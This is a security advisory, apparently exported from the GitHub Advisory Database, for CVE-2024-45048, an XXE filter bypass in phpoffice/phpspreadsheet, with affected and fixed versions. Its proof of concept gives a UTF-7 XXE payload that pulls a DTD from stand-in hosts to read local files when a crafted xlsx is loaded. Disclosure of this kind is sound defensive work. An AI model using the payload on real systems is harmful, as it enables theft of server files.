phpoffice/phpspreadsheet
Affected
- introduced
0, fixed1.29.1(ecosystem)
Fixed versions
1.29.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2024-45048
XXE in PHPSpreadsheet encoding is returned
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
xl/sharedStrings.xml file in edit mode.<?xml version="1.0" encoding="UTF-8" standalone="yes"?> to <?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
sharedStrings.xml file and rename zip back to xlsx.use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
http://%webhook%/file.dtdImpact
Read local files
lfi
High Basis: The source's own band: HIGH
0, fixed 1.29.1 (ecosystem)1.29.1
The export has no generic command for this ecosystem.
2.2.0, fixed 2.2.1 (ecosystem)2.2.1
The export has no generic command for this ecosystem.
2.0.0, fixed 2.1.1 (ecosystem)2.1.1
The export has no generic command for this ecosystem.
0, last affected 1.8.2 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0